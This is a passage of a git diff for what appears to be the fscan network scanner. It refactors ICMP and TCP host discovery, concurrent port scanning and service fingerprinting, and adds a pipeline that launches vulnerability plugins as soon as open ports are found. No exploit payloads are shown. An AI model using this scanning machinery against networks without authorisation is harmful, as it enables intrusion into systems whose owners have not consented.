添加元素后应该能找到 - testData := []string{ - "192.168.1.1", - "10.0.0.1", - "172.16.0.1", - } - - for _, data := range testData { - bf.Add(data) - } - - for _, data := range testData { - if !bf.Contains(data) { - t.Errorf("已添加的元素 %s 应该返回 true", data) - } - } - - // 未添加的元素(大概率)返回false - notAdded := []string{ - "8.8.8.8", - "1.1.1.1", - "255.255.255.255", - } - - falsePositives := 0 - for _, data := range notAdded { - if bf.Contains(data) { - falsePositives++ - } - } - - // 3个未添加元素全部误判的概率极低(<0.0001%) - if falsePositives == len(notAdded) { - t.Error("所有未添加元素都返回true,布隆过滤器可能有问题") - } -} - -// TestBloomFilter_FalsePositiveRate 误判率验证 -// -// 对于 n=10000, p=0.01 的布隆过滤器: -// 实际误判率应该在 0.5% - 2% 之间(允许统计波动) -func TestBloomFilter_FalsePositiveRate(t *testing.T) { - n := 10000 // 添加的元素数 - bf := NewBloomFilter(n, 0.01) - - // 添加n个元素 - for i := 0; i < n; i++ { - bf.Add(fmt.Sprintf("added_%d", i)) - } - - // 测试n个未添加的元素 - falsePositives := 0 - testCount := n - for i := 0; i < testCount; i++ { - if bf.Contains(fmt.Sprintf("not_added_%d", i)) { - falsePositives++ - } - } - - actualRate := float64(falsePositives) / float64(testCount) - - // 允许的误判率范围:0.1% - 3%(考虑统计波动) - if actualRate > 0.03 { - t.Errorf("误判率过高: %.2f%% (期望 < 3%%)", actualRate*100) - } - - t.Logf("实际误判率: %.2f%% (%d/%d)", actualRate*100, falsePositives, testCount) -} - -// TestBloomFilter_LargeScale 大规模数据测试 -// -// 模拟真实的ICMP去重场景:100万个IP地址 -func TestBloomFilter_LargeScale(t *testing.T) { - if testing.Short() { - t.Skip("跳过大规模测试") - } - - n := 1000000 // 100万 - bf := NewBloomFilter(n, 0.01) - - // 添加100万个元素 - for i := 0; i < n; i++ { - bf.Add(fmt.Sprintf("192.168.%d.%d", i/256, i%256)) - } - - // 验证已添加的元素 - sampleSize := 1000 - for i := 0; i < sampleSize; i++ { - idx := i * (n / sampleSize) - data := fmt.Sprintf("192.168.%d.%d", idx/256, idx%256) - if !bf.Contains(data) { - t.Errorf("已添加的元素 %s 返回 false", data) - } - } - - // 测试未添加元素的误判率 - falsePositives := 0 - for i := 0; i < sampleSize; i++ { - if bf.Contains(fmt.Sprintf("10.%d.%d.%d", i/65536, (i/256)%256, i%256)) { - falsePositives++ - } - } - - actualRate := float64(falsePositives) / float64(sampleSize) - if actualRate > 0.03 { - t.Errorf("大规模场景误判率过高: %.2f%%", actualRate*100) - } - - t.Logf("100万元素场景误判率: %.2f%%", actualRate*100) -} - -// TestBloomFilter_NoFalseNegative 验证无假阴性 -// -// 布隆过滤器的核心保证:已添加的元素必定返回true -func TestBloomFilter_NoFalseNegative(t *testing.T) { - bf := NewBloomFilter(10000, 0.01) - - // 添加5000个元素 - added := make([]string, 5000) - for i := range added { - added[i] = fmt.Sprintf("element_%d", i) - bf.Add(added[i]) - } - - // 全部验证 - for _, data := range added { - if !bf.Contains(data) { - t.Fatalf("假阴性!已添加的元素 %s 返回 false", data) - } - } -} - -// TestBloomFilter_EmptyFilter 空过滤器测试 -func TestBloomFilter_EmptyFilter(t *testing.T) { - bf := NewBloomFilter(100, 0.01) - - // 空过滤器应该对任何查询返回false - testCases := []string{"anything", "192.168.1.1", ""} - for _, tc := range testCases { - if bf.Contains(tc) { - t.Errorf("空过滤器对 %q 返回 true", tc) - } - } -} diff --git a/core/icmp.go b/core/icmp.go index 8dcaf1c..80cb4b5 100644 --- a/core/icmp.go +++ b/core/icmp.go @@ -2,6 +2,7 @@ package core import ( "bytes" + "context" "errors" "fmt" "net" @@ -39,7 +40,9 @@ var pingErrorKeywords = []string{ // CheckLive 检测主机存活状态 // 支持 ICMP/Ping 探测,并在响应率过低时自动启用 TCP 补充探测 -func CheckLive(hostslist []string, Ping bool, config *common.Config, state *common.State) []string { +func CheckLive(ctx context.Context, hostslist []string, Ping bool, session *common.ScanSession) []string { + config := session.Config + state := session.State // 创建局部WaitGroup var livewg sync.WaitGroup @@ -68,7 +71,7 @@ func CheckLive(hostslist []string, Ping bool, config *common.Config, state *comm // TCP 补充探测:当 ICMP/Ping 响应率过低时自动启用 // 这对防火墙过滤 ICMP 的环境特别有用 - aliveHosts = tcpSupplementaryProbe(hostslist, aliveHosts, config) + aliveHosts = tcpSupplementaryProbe(ctx, hostslist, aliveHosts, session) // 输出存活统计信息 printAliveStats(aliveHosts, hostslist) @@ -78,7 +81,11 @@ func CheckLive(hostslist []string, Ping bool, config *common.Config, state *comm // tcpSupplementaryProbe TCP 补充探测 // 当 ICMP 响应率过低时(<10%),对未响应主机进行 TCP 探测 -func tcpSupplementaryProbe(allHosts []string, aliveHosts []string, config *common.Config) []string { +func tcpSupplementaryProbe(ctx context.Context, allHosts []string, aliveHosts []string, session *common.ScanSession) []string { + if session.Config.DisableTcpProbe || session.Config.Mode == "icmp" { + return aliveHosts + } + totalHosts := len(allHosts) if totalHosts == 0 { return aliveHosts @@ -102,7 +109,7 @@ func tcpSupplementaryProbe(allHosts []string, aliveHosts []string, config *commo common.LogInfo(i18n.Tr("tcp_probe_low_icmp_rate", fmt.Sprintf("%.1f%%", responseRate*100), len(unrespondedHosts))) // 执行 TCP 补充探测 - tcpAliveHosts := runTcpProbeForHosts(unrespondedHosts, config) + tcpAliveHosts := runTcpProbeForHosts(ctx, unrespondedHosts, session) // 合并结果 if len(tcpAliveHosts) > 0 { @@ -321,8 +328,8 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, var endflag atomic.Bool var listenerWg sync.WaitGroup - // 创建布隆过滤器用于去重(自动根据主机数量调整大小) - bloomFilter := NewBloomFilter(len(hostslist), 0.01) + // 去重集合:过滤重复的ICMP响应 + seen := make(map[string]struct{}, len(hostslist)) // 启动监听协程 listenerWg.Add(1) @@ -358,11 +365,10 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, if sourceIP != nil && !endflag.Load() { ipStr := sourceIP.String() - // 使用布隆过滤器去重,过滤重复的ICMP响应和杂包 - if bloomFilter.Contains(ipStr) { + if _, dup := seen[ipStr]; dup { continue } - bloomFilter.Add(ipStr) + seen[ipStr] = struct{}{} livewg.Add(1) select { @@ -376,13 +382,22 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, } }() - // 发送ICMP请求(应用令牌桶限速) - limiter := state.GetICMPLimiter(config.Network.ICMPRate) + // 发送ICMP请求(批量预构建 + 令牌桶限速) + // 预构建所有 ICMP 包和目标地址,减少发送循环中的开销 + type icmpPacket struct { + data []byte + dst net.Addr + } + packets := make([]icmpPacket, 0, len(hostslist)) for _, host := range hostslist { - limiter.Wait(1) // 等待令牌,控制发包速率 - dst, _ := net.ResolveIPAddr("ip", host) - IcmpByte := makemsg(host) - _, _ = conn.WriteTo(IcmpByte, dst) + dst, _ := common.DNSCache.ResolveIP(host) + packets = append(packets, icmpPacket{data: makemsg(host), dst: dst}) + } + + limiter := state.GetICMPLimiter(config.Network.ICMPRate) + for i := range packets { + limiter.Wait(1) + _, _ = conn.WriteTo(packets[i].data, packets[i].dst) } // 自适应等待响应 @@ -470,8 +485,12 @@ func icmpalive(host string) bool { // RunPing 使用系统Ping命令并发探测主机存活 func RunPing(hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) { var wg sync.WaitGroup - // 限制并发数为50 - limiter := make(chan struct{}, 50) + // 并发数根据主机数动态调整,上限 200 + concurrency := len(hostslist) + if concurrency > 200 { + concurrency = 200 + } + limiter := make(chan struct{}, concurrency) // 并发探测 for _, host := range hostslist { @@ -674,20 +693,34 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin var tcpProbeCommonPorts = []int{80, 443, 22, 445} // tcpProbeTimeout TCP 探测超时时间(较短,只做存活判断) -const tcpProbeTimeout = 2 * time.Second +const tcpProbeTimeout = 1 * time.Second // tcpProbeThreshold TCP 补充探测触发阈值 // 当 ICMP 响应率低于此值时,自动启用 TCP 补充探测 const tcpProbeThreshold = 0.1 // 10% -// tcpProbeAlive 使用 TCP 探测主机是否存活 -// 尝试连接常用端口,任一端口响应即认为存活 -func tcpProbeAlive(host string) bool { +// tcpProbeAlive 使用 TCP 并行探测主机是否存活 +// 同时连接所有常用端口,任一响应即返回 +func tcpProbeAlive(ctx context.Context, session *common.ScanSession, host string) bool { + ctx, cancel := context.WithCancel(ctx) + defer cancel() + + result := make(chan bool, len(tcpProbeCommonPorts)) for _, port := range tcpProbeCommonPorts { - addr := fmt.Sprintf("%s:%d", host, port) - conn, err := common.WrapperTcpWithTimeout("tcp", addr, tcpProbeTimeout) - if err == nil { - _ = conn.Close() + go func(p int) { + addr := fmt.Sprintf("%s:%d", host, p) + conn, err := session.DialTCP(ctx, "tcp", addr, tcpProbeTimeout) + if err == nil { + _ = conn.Close() + result <- true + return + } + result <- false + }(port) + } + + for range tcpProbeCommonPorts { + if <-result { return true } } @@ -696,7 +729,8 @@ func tcpProbeAlive(host string) bool { // runTcpProbeForHosts 对指定主机列表进行 TCP 补充探测 // 返回存活的主机列表 -func runTcpProbeForHosts(hosts []string, config *common.Config) []string { +func runTcpProbeForHosts(ctx context.Context, hosts []string, session *common.ScanSession) []string { + config := session.Config if len(hosts) == 0 { return nil } @@ -705,10 +739,10 @@ func runTcpProbeForHosts(hosts []string, config *common.Config) []string { var mu sync.Mutex aliveHosts := make([]string, 0) - // 并发控制,避免资源耗尽 - concurrency := 50 - if len(hosts) < concurrency { - concurrency = len(hosts) + // 并发控制,根据主机数动态调整,上限 200 + concurrency := len(hosts) + if concurrency > 200 { + concurrency = 200 } limiter := make(chan struct{}, concurrency) @@ -722,7 +756,7 @@ func runTcpProbeForHosts(hosts []string, config *common.Config) []string { wg.Done() }() - if tcpProbeAlive(h) { + if tcpProbeAlive(ctx, session, h) { mu.Lock() aliveHosts = append(aliveHosts, h) mu.Unlock() diff --git a/core/local_scanner.go b/core/local_scanner.go index 08ec528..c132a8d 100644 --- a/core/local_scanner.go +++ b/core/local_scanner.go @@ -1,6 +1,7 @@ package core import ( + "context" "sync" "github.com/shadow1ng/fscan/common" @@ -41,7 +42,9 @@ func (s *LocalScanStrategy) Description() string { } // Execute 执行本地扫描策略 -func (s *LocalScanStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { +func (s *LocalScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { + config := session.Config + // 输出扫描开始信息 s.LogScanStart() @@ -66,7 +69,7 @@ func (s *LocalScanStrategy) Execute(config *common.Config, state *common.State, targets := s.PrepareTargets(info) // 执行扫描任务 - ExecuteScanTasks(config, state, targets, s, ch, wg) + ExecuteScanTasks(ctx, session, targets, s, ch, wg) } // PrepareTargets 准备本地扫描目标 diff --git a/core/port_scan.go b/core/port_scan.go index 9aba364..bce2a86 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -1,6 +1,7 @@ package core import ( + "context" "fmt" "net" "strings" @@ -38,27 +39,32 @@ var resourceExhaustedPatterns = []string{ } // resultCollector 结果收集器,用于并发安全地收集扫描结果 -// 使用 map 实现:O(1) 的添加和删除,无顺序依赖问题 type resultCollector struct { - mu sync.Mutex - addrs map[string]struct{} + mu sync.Mutex + addrs map[string]struct{} + stream chan<- string } -// newResultCollector 创建结果收集器 -func newResultCollector() *resultCollector { +func newResultCollector(stream chan<- string) *resultCollector { return &resultCollector{ - addrs: make(map[string]struct{}), + addrs: make(map[string]struct{}), + stream: stream, } } -// Add 添加一个扫描结果 func (c *resultCollector) Add(addr string) { c.mu.Lock() + if _, dup := c.addrs[addr]; dup { + c.mu.Unlock() + return + } c.addrs[addr] = struct{}{} c.mu.Unlock() + if c.stream != nil { + c.stream <- addr + } } -// GetAll 获取所有结果 func (c *resultCollector) GetAll() []string { c.mu.Lock() result := make([]string, 0, len(c.addrs)) @@ -110,13 +116,31 @@ func (f *failedPortCollector) Count() int { // EnhancedPortScan 高性能端口扫描函数 // 使用滑动窗口调度 + 自适应线程池 + 流式迭代器 -func EnhancedPortScan(hosts []string, ports string, timeout int64, config *common.Config, state *common.State) []string { +// stream: 可选,非 nil 时每发现开放端口立即发送 addr,扫描结束后关闭 +func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout int64, session *common.ScanSession, stream chan<- string) []string { + config := session.Config + state := session.State common.LogDebug(fmt.Sprintf("[PortScan] 开始: %d个主机, 线程数=%d", len(hosts), config.ThreadNum)) + // 大规模扫描预筛:跨多个 /24 时先做网段探活,跳过空网段 + if len(hosts) > subnetProbeThreshold { + hosts = probeSubnets(ctx, hosts, time.Duration(timeout)*time.Second, session) + if len(hosts) == 0 { + common.LogInfo(i18n.GetText("port_scan_no_alive_subnet")) + if stream != nil { + close(stream) + } + return nil + } + } + // 解析端口和排除端口 portList := parsers.ParsePort(ports) if len(portList) == 0 { common.LogError(i18n.Tr("invalid_port", ports)) + if stream != nil { + close(stream) + } return nil } common.LogDebug(fmt.Sprintf("[PortScan] 端口解析完成: %d个端口", len(portList))) @@ -161,8 +185,9 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64, config *commo // 初始化并发控制 to := time.Duration(timeout) * time.Second + adaptiveTO := NewAdaptiveTimeout(to) var count int64 - collector := newResultCollector() + collector := newResultCollector(stream) failedCollector := &failedPortCollector{} var wg sync.WaitGroup @@ -179,11 +204,14 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64, config *commo }() addr := fmt.Sprintf("%s:%d", taskInfo.host, taskInfo.port) - scanSinglePort(taskInfo.host, taskInfo.port, addr, to, &count, collector, failedCollector, config, state) + scanSinglePort(ctx, taskInfo.host, taskInfo.port, addr, adaptiveTO, &count, collector, failedCollector, session) common.UpdateProgressBar(1) }, state) if err != nil { common.LogError(i18n.Tr("thread_pool_create_failed", err)) + if stream != nil { + close(stream) + } return nil } common.LogDebug("[PortScan] 线程池创建成功") @@ -197,6 +225,11 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64, config *commo // 收集结果 aliveAddrs := collector.GetAll() + // 关闭流式通知 channel + if stream != nil { + close(stream) + } + // 完成端口扫描进度条 if common.IsProgressActive() { common.FinishProgressBar() @@ -252,7 +285,10 @@ func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.Wa port: port, semaphore: semaphore, } - _ = pool.Invoke(task) + if err := pool.Invoke(task); err != nil { + <-semaphore + wg.Done() + } } // 等待所有任务完成 @@ -260,11 +296,11 @@ func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.Wa } // connectWithRetry 带重试的TCP连接 - 只对资源耗尽错误重试 -func connectWithRetry(addr string, timeout time.Duration, maxRetries int, state *common.State) (net.Conn, error) { +func connectWithRetry(ctx context.Context, session *common.ScanSession, addr string, timeout time.Duration, maxRetries int) (net.Conn, error) { var lastErr error for attempt := 0; attempt < maxRetries; attempt++ { - conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err == nil { return conn, nil @@ -278,11 +314,11 @@ func connectWithRetry(addr string, timeout time.Duration, maxRetries int, state } // 记录资源耗尽错误 - state.IncrementResourceExhaustedCount() + session.State.IncrementResourceExhaustedCount() - // 指数退避:第1次等50ms,第2次等150ms + // 指数退避:200ms → 600ms → 1200ms if attempt < maxRetries-1 { - waitTime := time.Duration(50*(attempt+1)) * time.Millisecond + waitTime := time.Duration(200*(1< isApplicable } -func (m *mockStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { +func (m *mockStrategy) Execute(_ context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { } func (m *mockStrategy) GetPlugins() ([]string, bool) { diff --git a/core/service_probe.go b/core/service_probe.go index b2ea612..d61c707 100644 --- a/core/service_probe.go +++ b/core/service_probe.go @@ -1,6 +1,7 @@ package core import ( + "context" "errors" "fmt" "io" @@ -15,7 +16,7 @@ import ( // 默认超时时间常量 const ( - defaultTotalWaitMS = 6000 // Nmap 默认等待时间 + defaultTotalWaitMS = 3000 // 服务探测默认等待时间 defaultIntensity = 7 // 默认探测强度 (1-9) ) @@ -70,13 +71,16 @@ type Service struct { // Info 定义单个端口探测的上下文信息 type Info struct { - Address string // 目标IP地址 - Port int // 目标端口 - Conn net.Conn // 网络连接 - Result Result // 探测结果 - Found bool // 是否成功识别服务 - config *common.Config // 配置引用 - readTimeoutMS int // 当前读取超时时间(毫秒) + Address string // 目标IP地址 + Port int // 目标端口 + Conn net.Conn // 网络连接 + Result Result // 探测结果 + Found bool // 是否成功识别服务 + ctx context.Context // 扫描级 context + config *common.Config // 配置引用 + session *common.ScanSession // 会话引用 + readTimeoutMS int // 当前读取超时时间(毫秒) + maxReadTimeoutMS int // RTT 自适应上限(毫秒),0 表示不限制 } // SmartPortInfoScanner 智能服务识别器:保持nmap准确性,优化网络交互 @@ -86,24 +90,28 @@ type SmartPortInfoScanner struct { Conn net.Conn Timeout time.Duration info *Info - config *common.Config // 配置引用 + config *common.Config // 配置引用 + session *common.ScanSession // 会话引用 } // 预定义的基础探测器已在PortFinger.go中定义,这里不再重复定义 // NewSmartPortInfoScanner 创建智能服务识别器 -func NewSmartPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration, config *common.Config) *SmartPortInfoScanner { +func NewSmartPortInfoScanner(ctx context.Context, addr string, port int, conn net.Conn, timeout time.Duration, config *common.Config, session *common.ScanSession) *SmartPortInfoScanner { return &SmartPortInfoScanner{ Address: addr, Port: port, Conn: conn, Timeout: timeout, config: config, + session: session, info: &Info{ Address: addr, Port: port, Conn: conn, + ctx: ctx, config: config, + session: session, Result: Result{ Service: Service{}, }, @@ -211,9 +219,14 @@ func (s *SmartPortInfoScanner) tryProbeList(probes []*Probe, usedProbes map[stri } usedProbes[probe.Name] = struct{}{} - probeData, err := DecodeData(probe.Data) - if err != nil { - continue + // 优先使用预解码数据 + probeData := probe.DecodedData + if probeData == nil { + var err error + probeData, err = DecodeData(probe.Data) + if err != nil { + continue + } } // 使用 TotalWaitMS 设置动态超时 @@ -251,7 +264,7 @@ func (s *SmartPortInfoScanner) reconnectIfNeeded() { } // 重新建立连接 - newConn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", s.Address, s.Port), s.Timeout) + newConn, err := s.session.DialTCP(s.info.ctx, "tcp", fmt.Sprintf("%s:%d", s.Address, s.Port), s.Timeout) if err != nil { return } @@ -274,8 +287,15 @@ func (s *SmartPortInfoScanner) performSSLSecondStage(serviceInfo *ServiceInfo) * continue } - probeData, err := DecodeData(probe.Data) - if err != nil || len(probeData) == 0 { + probeData := probe.DecodedData + if probeData == nil { + var decErr error + probeData, decErr = DecodeData(probe.Data) + if decErr != nil || len(probeData) == 0 { + continue + } + } + if len(probeData) == 0 { continue } response := s.info.Connect(probeData) @@ -309,8 +329,15 @@ func (s *SmartPortInfoScanner) tryHTTPSProbe() *ServiceInfo { return nil } - probeData, err := DecodeData(probe.Data) - if err != nil || len(probeData) == 0 { + probeData := probe.DecodedData + if probeData == nil { + var decErr error + probeData, decErr = DecodeData(probe.Data) + if decErr != nil || len(probeData) == 0 { + return nil + } + } + if len(probeData) == 0 { return nil } response := s.info.Connect(probeData) @@ -481,10 +508,14 @@ func (i *Info) setReadTimeout(ms int) { // getReadTimeout 获取当前读取超时时间 func (i *Info) getReadTimeout() time.Duration { + ms := defaultReadTimeoutMS if i.readTimeoutMS > 0 { - return time.Duration(i.readTimeoutMS) * time.Millisecond + ms = i.readTimeoutMS } - return time.Duration(defaultReadTimeoutMS) * time.Millisecond + if i.maxReadTimeoutMS > 0 && ms > i.maxReadTimeoutMS { + ms = i.maxReadTimeoutMS + } + return time.Duration(ms) * time.Millisecond } // WrTimeout 默认读写超时时间(秒) @@ -511,7 +542,7 @@ func (i *Info) Write(msg []byte) error { _ = oldConn.Close() // 尝试重新连接 - 支持SOCKS5代理 - newConn, retryErr := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second) + newConn, retryErr := i.session.DialTCP(i.ctx, "tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second) if retryErr != nil { return retryErr } diff --git a/core/service_probe_strategy_test.go b/core/service_probe_strategy_test.go index 3922915..a603d36 100644 --- a/core/service_probe_strategy_test.go +++ b/core/service_probe_strategy_test.go @@ -13,6 +13,7 @@ service_probe_strategy_test.go - SmartProbeStrategy 策略逻辑测试 */ import ( + "context" "testing" "time" @@ -155,7 +156,7 @@ func TestSmartPortInfoScanner_Creation(t *testing.T) { } // 使用 nil 连接(实际测试中会使用真实连接) - scanner := NewSmartPortInfoScanner("127.0.0.1", 80, nil, 3*time.Second, config) + scanner := NewSmartPortInfoScanner(context.Background(), "127.0.0.1", 80, nil, 3*time.Second, config, nil) if scanner == nil { t.Fatal("Scanner 创建失败") @@ -175,8 +176,8 @@ func TestSmartPortInfoScanner_Creation(t *testing.T) { // TestDefaultConstants 验证默认常量值 func TestDefaultConstants(t *testing.T) { // 验证默认等待时间 - if defaultTotalWaitMS != 6000 { - t.Errorf("defaultTotalWaitMS 应该是 6000,实际是 %d", defaultTotalWaitMS) + if defaultTotalWaitMS != 3000 { + t.Errorf("defaultTotalWaitMS 应该是 3000,实际是 %d", defaultTotalWaitMS) } // 验证默认 intensity diff --git a/core/service_scanner.go b/core/service_scanner.go index 67d2eac..8924d0a 100644 --- a/core/service_scanner.go +++ b/core/service_scanner.go @@ -1,6 +1,7 @@ package core import ( + "context" "fmt" "strconv" "strings" @@ -27,7 +28,7 @@ func NewServiceScanStrategy() *ServiceScanStrategy { func (s *ServiceScanStrategy) LogPluginInfo(config *common.Config) { // 需要从命令行参数获取端口信息来进行过滤 // 如果没有指定端口,使用默认端口进行过滤显示 - ports := common.GetFlagVars().Ports + ports := config.Target.Ports if ports == "" || ports == "all" { // 默认端口扫描:显示所有插件 s.BaseScanStrategy.LogPluginInfo(config) @@ -42,7 +43,7 @@ func (s *ServiceScanStrategy) showPluginsForSpecifiedPorts(config *common.Config allPlugins, isCustomMode := s.GetPlugins(config) // 解析端口 - ports := s.parsePortList(common.GetFlagVars().Ports) + ports := s.parsePortList(config.Target.Ports) if len(ports) == 0 { s.BaseScanStrategy.LogPluginInfo(config) return @@ -112,10 +113,11 @@ func (s *ServiceScanStrategy) Description() string { } // Execute 执行服务扫描策略 -func (s *ServiceScanStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { +func (s *ServiceScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { + config := session.Config + // 验证扫描目标(需要同时检查 -h 和 -hf 参数) - fv := common.GetFlagVars() - if info.Host == "" && fv.HostsFile == "" { + if info.Host == "" && session.Params.HostsFile == "" { common.LogError(i18n.GetText("parse_error_target_empty")) return } @@ -133,28 +135,88 @@ func (s *ServiceScanStrategy) Execute(config *common.Config, state *common.State s.LogPluginInfo(config) // 执行主机扫描流程 - s.performHostScan(config, state, info, ch, wg) + s.performHostScan(ctx, session, info, ch, wg) } // performHostScan 执行主机扫描的完整流程 -func (s *ServiceScanStrategy) performHostScan(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { - // 发现目标主机和端口 - targetInfos, err := s.discoverTargets(info.Host, info, config, state) +// pipeline 模式:端口扫描和插件执行并行,扫到开放端口立即开始跑插件 +func (s *ServiceScanStrategy) performHostScan(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { + config := session.Config + state := session.State + + // 解析目标主机 + hosts, err := parsers.ParseIP(info.Host, session.Params.HostsFile, session.Params.ExcludeHosts) if err != nil { - common.LogError(err.Error()) + common.LogError(fmt.Sprintf("%s: %v", i18n.GetText("parse_target_failed"), err)) return } - // 执行漏洞扫描 - if len(targetInfos) > 0 { - ExecuteScanTasks(config, state, targetInfos, s, ch, wg) + // 主机存活检测 + if s.shouldPerformLivenessCheck(hosts, config) { + hosts = CheckLive(ctx, hosts, false, session) + common.LogInfo(i18n.Tr("alive_hosts_count_info", len(hosts))) + } + + if len(hosts) == 0 && len(state.GetHostPorts()) == 0 { + return + } + + // 流式 channel:端口扫描发现开放端口后立即通知插件执行 + stream := make(chan string, 64) + + // 启动端口扫描 goroutine + go func() { + if len(hosts) > 0 { + EnhancedPortScan(ctx, hosts, config.Target.Ports, int64(config.Timeout.Seconds()), session, stream) + } else { + close(stream) + } + }() + + // pipeline 消费:边收开放端口边执行插件 + pluginsToRun, isCustomMode := s.GetPlugins(config) + cancelled := false + for addr := range stream { + if cancelled { + continue // ctx 已取消,排空 stream 防止写端阻塞 + } + select { + case <-ctx.Done(): + cancelled = true + continue + default: + } + + infos := s.convertToTargetInfos([]string{addr}, info) + for _, target := range infos { + for _, pluginName := range pluginsToRun { + if s.IsPluginApplicableByName(pluginName, target.Host, target.Port, isCustomMode, config) { + executeScanTask(ctx, session, pluginName, target, ch, wg) + } + } + } + } + + // 合并预设的 host:port + hostPorts := state.GetHostPorts() + if len(hostPorts) > 0 { + merged := mergeHostPorts(nil, hostPorts) + targets := s.convertToTargetInfos(merged, info) + for _, target := range targets { + for _, pluginName := range pluginsToRun { + if s.IsPluginApplicableByName(pluginName, target.Host, target.Port, isCustomMode, config) { + executeScanTask(ctx, session, pluginName, target, ch, wg) + } + } + } + state.ClearHostPorts() } } // PrepareTargets 准备目标信息 -func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo, config *common.Config, state *common.State) []common.HostInfo { +func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo, session *common.ScanSession) []common.HostInfo { // 发现目标主机和端口 - targetInfos, err := s.discoverTargets(info.Host, info, config, state) + targetInfos, err := s.discoverTargets(context.Background(), info.Host, info, session) if err != nil { common.LogError(err.Error()) return nil @@ -213,10 +275,11 @@ func (s *ServiceScanStrategy) LogVulnerabilityPluginInfo(targets []common.HostIn // ============================================================================= // discoverTargets 发现目标主机和端口 -func (s *ServiceScanStrategy) discoverTargets(hostInput string, baseInfo common.HostInfo, config *common.Config, state *common.State) ([]common.HostInfo, error) { +func (s *ServiceScanStrategy) discoverTargets(ctx context.Context, hostInput string, baseInfo common.HostInfo, session *common.ScanSession) ([]common.HostInfo, error) { + config := session.Config + state := session.State // 标准流程:解析目标主机 - fv := common.GetFlagVars() - hosts, err := parsers.ParseIP(hostInput, fv.HostsFile, fv.ExcludeHosts) + hosts, err := parsers.ParseIP(hostInput, session.Params.HostsFile, session.Params.ExcludeHosts) if err != nil { return nil, fmt.Errorf("%s: %w", i18n.GetText("parse_target_failed"), err) } @@ -227,12 +290,12 @@ func (s *ServiceScanStrategy) discoverTargets(hostInput string, baseInfo common. if len(hosts) > 0 || len(state.GetHostPorts()) > 0 { // 主机存活检测 if s.shouldPerformLivenessCheck(hosts, config) { - hosts = CheckLive(hosts, false, config, state) + hosts = CheckLive(ctx, hosts, false, session) common.LogInfo(i18n.Tr("alive_hosts_count_info", len(hosts))) } // 端口扫描 - alivePorts := s.discoverAlivePorts(hosts, config, state) + alivePorts := s.discoverAlivePorts(ctx, hosts, session) if len(alivePorts) > 0 { targetInfos = s.convertToTargetInfos(alivePorts, baseInfo) } @@ -247,26 +310,44 @@ func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []string, config } // discoverAlivePorts 发现存活的端口 -func (s *ServiceScanStrategy) discoverAlivePorts(hosts []string, config *common.Config, state *common.State) []string { +// 执行正常端口扫描后,合并预设的 host:port(来自项目缓存或 CLI),确保不遗漏 +func (s *ServiceScanStrategy) discoverAlivePorts(ctx context.Context, hosts []string, session *common.ScanSession) []string { + config := session.Config + state := session.State var alivePorts []string - // 如果已经有明确指定的host:port,直接使用(让后续SmartIdentify统一验证和识别) - hostPorts := state.GetHostPorts() - if len(hostPorts) > 0 { - alivePorts = hostPorts - common.LogInfo(i18n.Tr("alive_ports_count", len(alivePorts))) - state.ClearHostPorts() - return alivePorts + // 正常端口扫描 + if len(hosts) > 0 { + alivePorts = EnhancedPortScan(ctx, hosts, config.Target.Ports, int64(config.Timeout.Seconds()), session, nil) } - // 根据扫描模式选择端口扫描方式 - if len(hosts) > 0 { - alivePorts = EnhancedPortScan(hosts, config.Target.Ports, int64(config.Timeout.Seconds()), config, state) + // 合并预设的 host:port(项目缓存 / CLI 注入) + hostPorts := state.GetHostPorts() + if len(hostPorts) > 0 { + alivePorts = mergeHostPorts(alivePorts, hostPorts) + common.LogInfo(i18n.Tr("alive_ports_count", len(alivePorts))) + state.ClearHostPorts() } return alivePorts } +// mergeHostPorts 合并两个 host:port 列表并去重 +func mergeHostPorts(a, b []string) []string { + seen := make(map[string]struct{}, len(a)+len(b)) + for _, s := range a { + seen[s] = struct{}{} + } + for _, s := range b { + seen[s] = struct{}{} + } + result := make([]string, 0, len(seen)) + for s := range seen { + result = append(result, s) + } + return result +} + // convertToTargetInfos 将端口列表转换为目标信息 func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo common.HostInfo) []common.HostInfo { var infos []common.HostInfo diff --git a/core/web_scanner.go b/core/web_scanner.go index f688e10..782b80d 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -1,6 +1,7 @@ package core import ( + "context" "crypto/tls" "fmt" "net" @@ -18,6 +19,25 @@ import ( // Web服务检测 // =============================== +// 全局共享 HTTP Client,复用连接池减少 TLS 握手和 TCP 建连开销 +var ( + sharedHTTPClientOnce sync.Once + 